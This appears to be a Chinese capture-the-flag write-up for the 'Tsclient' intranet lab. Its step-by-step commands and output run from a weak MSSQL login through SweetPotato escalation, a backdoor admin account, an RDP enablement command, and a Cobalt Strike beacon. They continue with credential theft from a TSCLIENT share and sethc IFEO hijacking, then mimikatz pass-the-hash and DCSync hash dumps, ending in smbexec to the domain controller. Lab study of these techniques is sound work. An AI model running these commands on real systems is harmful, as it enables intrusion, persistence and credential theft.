Tsclient

靶标介绍

​ Tsclient是一套难度为中等的靶场环境,完成该挑战可以帮助玩家了解内网渗透中的代理转发、内网扫描、信息收集、特权提升以及横向移动技术方法,加强对域环境核心认证机制的理解,以及掌握域环境渗透中一些有趣的技术要点。该靶场共有3个flag,分布于不同的靶机。

知识点

  • MSSQL
  • Privilege Elevation
  • Kerberos
  • 域渗透
  • RDP

外网

fscan → service\mssqlserver

​ 外网靶机是台Windows先用fsan扫一下。

└─$ ./fscan -h 39.101.132.220     
   ___                              _    
  / _ \     ___  ___ _ __ __ _  ___| | __ 
 / /_\/____/ __|/ __| '__/ _` |/ __| |/ /
/ /_\\_____\__ \ (__| | | (_| | (__|   <    
\____/     |___/\___|_|  \__,_|\___|_|\_\   
                     fscan version: 1.8.2
start infoscan
trying RunIcmp2
The current user permissions unable to send icmp packets
start ping
(icmp) Target 39.101.132.220  is alive
[*] Icmp alive hosts len is: 1
39.101.132.220:1433 open
39.101.132.220:80 open
[*] alive ports len is: 2
start vulscan
[*] WebTitle: http://39.101.132.220     code:200 len:703    title:IIS Windows Server
[+] mssql:39.101.132.220:1433:sa [deleted]
已完成 2/2
[*] 扫描结束,耗时: 16.249015034s 

​ 扫描出了弱口令的Mssql,用MDUT登录并激活XP_Cmdshell方便我们执行命令。

Tsclient-MDUTlogin

Windows IP 配置

以太网适配器 以太网 2:
   连接特定的 DNS 后缀 . . . . . . . : 
   本地链接 IPv6 地址. . . . . . . . : fe80::c75:80a4:266:fe96%8
   IPv4 地址 . . . . . . . . . . . . : 172.22.8.18
   子网掩码  . . . . . . . . . . . . : 255.255.0.0
   默认网关. . . . . . . . . . . . . : 172.22.255.253

隧道适配器 Teredo Tunneling Pseudo-Interface:
   连接特定的 DNS 后缀 . . . . . . . : 
   IPv6 地址 . . . . . . . . . . . . : 2001:0:348b:fb58:2459:1cce:d89a:7b23
   本地链接 IPv6 地址. . . . . . . . : fe80::2459:1cce:d89a:7b23%12
   默认网关. . . . . . . . . . . . . : ::

隧道适配器 isatap.{7901C223-3BC4-42B0-BD21-258AA6858209}:
   媒体状态  . . . . . . . . . . . . : 媒体已断开连接
   连接特定的 DNS 后缀 . . . . . . . : 
主机名:           WIN-WEB
OS 名称:          Microsoft Windows Server 2016 Datacenter
OS 版本:          10.0.14393 暂缺 Build 14393
OS 制造商:        Microsoft Corporation
OS 配置:          独立服务器
OS 构件类型:      Multiprocessor Free
注册的所有人:     
注册的组织:       Aliyun
产品 ID:          00376-40000-00000-AA947
初始安装日期:     2022/7/11, 12:46:14
系统启动时间:     2023/11/24, 13:57:20
系统制造商:       Alibaba Cloud
系统型号:         Alibaba Cloud ECS
系统类型:         x64-based PC
处理器:           安装了 1 个处理器。
                  [01]: Intel64 Family 6 Model 85 Stepping 4 GenuineIntel ~2500 Mhz
BIOS 版本:        SeaBIOS 449e491, 2014/4/1
Windows 目录:     C:\Windows
系统目录:         C:\Windows\system32
启动设备:         \Device\HarddiskVolume1
系统区域设置:     zh-cn;中文(中国)
输入法区域设置:   zh-cn;中文(中国)
时区:             (UTC+08:00) 北京,重庆,香港特别行政区,乌鲁木齐
物理内存总量:     4,095 MB
可用的物理内存:   1,939 MB
虚拟内存: 最大值: 4,799 MB
虚拟内存: 可用:   1,599 MB
虚拟内存: 使用中: 3,200 MB
页面文件位置:     C:\pagefile.sys
域:               WORKGROUP
登录服务器:       暂缺
修补程序:         安装了 6 个修补程序。
                  [01]: KB5013625
                  [02]: KB4049065
                  [03]: KB4486129
                  [04]: KB4486131
                  [05]: KB5014026
                  [06]: KB5013952
网卡:             安装了 1 个 NIC。
                  [01]: Red Hat VirtIO Ethernet Adapter
                      连接名:      以太网 2
                      启用 DHCP:   是
                      DHCP 服务器: 172.22.255.253
                      IP 地址
                        [01]: 172.22.8.18
                        [02]: fe80::c75:80a4:266:fe96
Hyper-V 要求:     已检测到虚拟机监控程序。将不显示 Hyper-V 所需的功能。

SweetPotato → system

​ 但由于是低权限因此我们先用SweetPotato提权,成功后便可以获取flag1。

Tsclient-SweetPotato

|\___   ___\\   ____\|\   ____\|\  \     |\  \|\  ___ \ |\   ___  \|\___   ___\ 
\|___ \  \_\ \  \___|\ \  \___|\ \  \    \ \  \ \   __/|\ \  \\ \  \|___ \  \_| 
     \ \  \ \ \_____  \ \  \    \ \  \    \ \  \ \  \_|/_\ \  \\ \  \   \ \  \  
      \ \  \ \|____|\  \ \  \____\ \  \____\ \  \ \  \_|\ \ \  \\ \  \   \ \  \ 
       \ \__\  ____\_\  \ \_______\ \_______\ \__\ \_______\ \__\\ \__\   \ \__\
        \|__| |\_________\|_______|\|_______|\|__|\|_______|\|__| \|__|    \|__|
              \|_________|                                                      
Getting flag01 is easy, right?
flag01: flag{dfe540df-89bf-465c-a539-ace9ffe7046a}
Maybe you should focus on user sessions...
[+] Process created, enjoy!

​ 这里添加个用户并开启远程桌面,方便我们可视化操作。

net user alpha qwer1234! /add
net localgroup administrators alpha /add
REG ADD HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server /v fDenyTSConnections /t REG_DWORD /d 00000000 /f

​ 上传CS生成的马并使用SweetPotato触发。

Tsclient-CSTrojan

内网

fscan

start infoscan
(icmp) Target 172.22.8.18     is alive
(icmp) Target 172.22.8.15     is alive
(icmp) Target 172.22.8.31     is alive
(icmp) Target 172.22.8.46     is alive
[*] Icmp alive hosts len is: 4
172.22.8.15:88 open
172.22.8.18:1433 open
172.22.8.46:445 open
172.22.8.31:445 open
172.22.8.15:445 open
172.22.8.18:445 open
172.22.8.46:139 open
172.22.8.46:80 open
172.22.8.18:80 open
172.22.8.31:139 open
172.22.8.15:139 open
172.22.8.18:139 open
172.22.8.46:135 open
172.22.8.31:135 open
172.22.8.15:135 open
172.22.8.18:135 open
[*] alive ports len is: 16
start vulscan
[*] NetInfo 
[*]172.22.8.18
   [->]WIN-WEB
   [->]172.22.8.18
   [->]2001:0:348b:fb58:2459:1cce:d89a:7b23
[*] NetBios 172.22.8.15     [+] DC:XIAORANG\DC01           
[*] NetInfo 
[*]172.22.8.46
   [->]WIN2016
   [->]172.22.8.46
[*] NetInfo 
[*]172.22.8.31
   [->]WIN19-CLIENT
   [->]172.22.8.31
[*] WebTitle http://172.22.8.18        code:200 len:703    title:IIS Windows Server
[*] NetBios 172.22.8.31     XIAORANG\WIN19-CLIENT         
[*] WebTitle http://172.22.8.46        code:200 len:703    title:IIS Windows Server
[*] NetInfo 
[*]172.22.8.15
   [->]DC01
   [->]172.22.8.15
[*] NetBios 172.22.8.46     WIN2016.xiaorang.lab                Windows Server 2016 Datacenter 14393
[+] mssql 172.22.8.18:1433:sa 1qaz!QAZ
已完�?16/16
[*] 扫描结束,耗时: 10.0956937s
[+] Process created, enjoy!
  1. 172.22.8.15 DC
  2. 172.22.8.31 域内机
  3. 172.22.8.46 域内机

John

​ 我们是system权限所以直接拉取所有用户和密码hash值并且在任务管理器中发现John是在线的。CS中可以使用shell quser || qwinst查看当前在线用户。

[11/24 16:02:47] beacon> hashdump
[11/24 16:02:47] [*] Tasked beacon to dump hashes
[11/24 16:03:32] [+] host called home, sent: 82541 bytes
[11/24 16:03:33] [+] received password hashes:
Administrator:500:aad3b435b51404eeaad3b435b51404ee:2caf35bb4c5059a3d50599844e2b9b1f:::
DefaultAccount:503:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
John:1008:aad3b435b51404eeaad3b435b51404ee:eec9381b043f098b011be51622282027:::

Tsclient-TaskManager

​ 在CS中我们直接使用注入进程上线,上线后便可以发现该用户存在共享文件。共享文件中提供了一个账密和映像劫持的提示。

[11/24 16:22:32] beacon> shell net use
会记录新的网络连接。
状态       本地        远程                      网络

-------------------------------------------------------------------------------
                       \\TSCLIENT\C              Microsoft Terminal Services
命令成功完成。
[11/24 16:24:17] beacon> shell dir \\TSCLIENT\C
 驱动器 \\TSCLIENT\C 中的卷没有标签。
 卷的序列号是 C2C5-9D0C
 \\TSCLIENT\C 的目录
2022/07/12  10:34                71 credential.txt
2022/05/12  17:04    <DIR>          PerfLogs
2022/07/11  12:53    <DIR>          Program Files
2022/05/18  11:30    <DIR>          Program Files (x86)
2022/07/11  12:47    <DIR>          Users
2022/07/11  12:45    <DIR>          Windows
               1 个文件             71 字节
               5 个目录 30,074,118,144 可用字节
[11/24 16:24:45] beacon> shell type \\TSCLIENT\C\credential.txt
xiaorang.lab\Aldrich:[deleted]
Do you know how to hijack Image?

172.22.8.46

Reset Aldrich's Password

​ 上面得到了个帐密,利用密码喷洒看看能登录上哪台机器。

└─# proxychains -q crackmapexec smb 172.22.8.0/24 -u 'Aldrich' -p '[deleted]' 
SMB         172.22.8.46     445    WIN2016          [*] Windows Server 2016 Datacenter 14393 x64 (name:WIN2016) (domain:xiaorang.lab) (signing:False) (SMBv1:True)
SMB         172.22.8.46     445    WIN2016          [-] xiaorang.lab\Aldrich:[deleted] STATUS_PASSWORD_EXPIRED 

​ 最后发现172.22.8.46可以登录但实际登录时提示我们登录密码过期,需要我们更改密码。这个时候可以用impacket中的smbpasswd模块更改密码。

└─# proxychains -q python3 smbpasswd.py xiaorang.lab/Aldrich:'[deleted]'@172.22.8.15 -newpass 'Kingdom666'
Impacket v0.12.0.dev1+20230817.32422.a769683f - Copyright 2023 Fortra

===============================================================================
  Warning: This functionality will be deprecated in the next Impacket version  
===============================================================================

[!] Password is expired, trying to bind with a null session.
[*] Password was changed successfully.

Tsclient-Aldrich

Image File Execution Options

​ 登录上去发现我们不是管理员而是普通用户,在flag01中提示了我们镜像劫持,查看一下注册表权限。

get-acl -path "HKLM:\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options" | fl *

Tsclient-RegistryAccess

​ 其中Authenticated Users指所有非来宾用户拥有对这个目录的所有权,限即所有正常登录的用户都可以修改注册表。因此我们将shift粘滞键替换成C:\windows\system32\cmd.exe这样我们就拥有了system权限。

REG ADD "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\sethc.exe" /v Debugger /t REG_SZ /d "C:\windows\system32\cmd.exe"

Tsclient-system46

   . .    .       . .       . .       .      .       . .       . .       . .    .    
.+'|=|`+.=|`+. .+'|=|`+. .+'|=|`+. .+'|      |`+. .+'|=|`+. .+'|=|`+. .+'|=|`+.=|`+. 
|.+' |  | `+.| |  | `+.| |  | `+.| |  |      |  | |  | `+.| |  | `+ | |.+' |  | `+.| 
     |  |      |  | .    |  |      |  |      |  | |  |=|`.  |  |  | |      |  |      
     |  |      `+.|=|`+. |  |      |  |      |  | |  | `.|  |  |  | |      |  |      
     |  |      .    |  | |  |    . |  |    . |  | |  |    . |  |  | |      |  |      
     |  |      |`+. |  | |  | .+'| |  | .+'| |  | |  | .+'| |  |  | |      |  |      
     |.+'      `+.|=|.+' `+.|=|.+' `+.|=|.+' |.+' `+.|=|.+' `+.|  |.|      |.+'      
flag02: flag{e55ced0b-77a0-4e1d-9bd8-1975c3fe9929}

​ 在拥有system后我们利用172.22.8.18转发上线CS,利用172.22.8.18创建一个listener然后选择这个listener生成马,将生成的马黏贴到内网靶机就可以了。

Tsclient-CS18relistener

​ 接下来进行域信息搜集,发现win2016$在域管组里,因此机器账户可以Hash传递登录域控,相当于直接拿域控了。

[11/24 17:22:47] beacon> hashdump
Administrator:500:[deleted]:8e2eec0e9e0d89e1b046b696e0c2aef7:::
DefaultAccount:503:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
[11/24 17:23:24] beacon> shell net user /domain
这项请求将在域 xiaorang.lab 的域控制器处理。

\\DC01.xiaorang.lab 的用户帐户

-------------------------------------------------------------------------------
Administrator            Aldrich                  Guest                    
krbtgt 
[11/24 17:23:41] beacon> shell net group "domain admins" /domain
这项请求将在域 xiaorang.lab 的域控制器处理。

组名     Domain Admins
注释     指定的域管理员

成员

-------------------------------------------------------------------------------
Administrator            WIN2016$                 
命令成功完成。

172.22.8.31

​ 利用mimikatz pth进行凭证传递攻击,注入机器账户哈希然后dump域控哈希。

[11/24 17:25:26] beacon> shell C:\\Users\\Aldrich\\Desktop\\mimikatz.exe "privilege::debug" "sekurlsa::pth /user:WIN2016$ /domain:xiaorang.lab /ntlm:[deleted]" "exit"
  .#####.   mimikatz 2.2.0 (x64) #19041 Sep 19 2022 17:44:08
 .## ^ ##.  "A La Vie, A L'Amour" - (oe.eo)
 ## / \ ##  /*** Benjamin DELPY `gentilkiwi` ( benjamin@gentilkiwi.com )
 ## \ / ##       > https://blog.gentilkiwi.com/mimikatz
 '## v ##'       Vincent LE TOUX             ( vincent.letoux@gmail.com )
  '#####'        > https://pingcastle.com / https://mysmartlogon.com ***/

mimikatz(commandline) # privilege::debug
Privilege '20' OK

mimikatz(commandline) # sekurlsa::pth /user:WIN2016$ /domain:xiaorang.lab /ntlm:[deleted]
user	: WIN2016$
domain	: xiaorang.lab
program	: cmd.exe
impers.	: no
NTLM	: aad3b435b51404eeaad3b435b51404ee
  |  PID  1344
  |  TID  2460
  |  LSA Process is now R/W
  |  LUID 0 ; 11246124 (00000000:00ab9a2c)
  \_ msv1_0   - data copy @ 00000273C85B57E0 : OK !
  \_ kerberos - data copy @ 00000273C8D93398
   \_ aes256_hmac       -> null             
   \_ aes128_hmac       -> null             
   \_ rc4_hmac_nt       OK
   \_ rc4_hmac_old      OK
   \_ rc4_md4           OK
   \_ rc4_hmac_nt_exp   OK
   \_ rc4_hmac_old_exp  OK
   \_ *Password replace @ 00000273C8D961A8 (32) -> null

mimikatz(commandline) # exit
Bye!

​ 然后用mimikatz dcsync dump所有用户的hash获得域控哈希。

[11/24 17:26:02] beacon> shell C:\\Users\\Aldrich\\Desktop\\mimikatz.exe "privilege::debug" "lsadump::dcsync /domain:xiaorang.lab /all /csv" "exit"
  .#####.   mimikatz 2.2.0 (x64) #19041 Sep 19 2022 17:44:08
 .## ^ ##.  "A La Vie, A L'Amour" - (oe.eo)
 ## / \ ##  /*** Benjamin DELPY `gentilkiwi` ( benjamin@gentilkiwi.com )
 ## \ / ##       > https://blog.gentilkiwi.com/mimikatz
 '## v ##'       Vincent LE TOUX             ( vincent.letoux@gmail.com )
  '#####'        > https://pingcastle.com / https://mysmartlogon.com ***/

mimikatz(commandline) # privilege::debug
Privilege '20' OK

mimikatz(commandline) # lsadump::dcsync /domain:xiaorang.lab /all /csv
[DC] 'xiaorang.lab' will be the domain
[DC] 'DC01.xiaorang.lab' will be the DC server
[DC] Exporting domain 'xiaorang.lab'
[rpc] Service  : ldap
[rpc] AuthnSvc : GSS_NEGOTIATE (9)
502	krbtgt	3ffd5b58b4a6328659a606c3ea6f9b63	514
1000	DC01$	e9d025e48c60de8516ba0a01313d5b13	532480
1103	WIN2016$	7d51b4ed49acbe73cf848f9da42ce5ef	16781312
1104	WIN19-CLIENT$	edd2487ae50b8c9e38028d9d189cf591	16781312
1105	Aldrich	46ff3b917e6d328297d7e633a72bc9ae	512
500	Administrator	[deleted]	512

mimikatz(commandline) # exit
Bye!

​ 最后哈希传递登录域控,即可拿到flag03。

└─# proxychains python3 smbexec.py -hashes :[deleted] administrator@172.22.8.15         
[proxychains] config file found: /etc/proxychains4.conf
[proxychains] preloading /usr/lib/x86_64-linux-gnu/libproxychains.so.4
[proxychains] DLL init: proxychains-ng 4.16
Impacket v0.12.0.dev1+20230817.32422.a769683f - Copyright 2023 Fortra

[proxychains] Strict chain  ...  112.124.7.196:53204  ...  172.22.8.15:445  ...  OK
[!] Launching semi-interactive shell - Careful what you execute
C:\Windows\system32>whoami
nt authority\system

C:\Windows\system32>type C:\Users\Administrator\flag\flag03.txt
 _________               __    _                  _    
|  _   _  |             [  |  (_)                / |_  
|_/ | | \_|.--.   .---.  | |  __  .---.  _ .--. `| |-' 
    | |   ( (`\] / /'`\] | | [  |/ /__\\[ `.-. | | |   
   _| |_   `'.'. | \__.  | |  | || \__., | | | | | |,  
  |_____| [\__) )'.___.'[___][___]'.__.'[___||__]\__/  
Congratulations! ! !
flag03: flag{457c3163-aff1-4c55-a227-b03b362c82ce}

EXT

  1. 利用 mstsc 反向攻击思路整理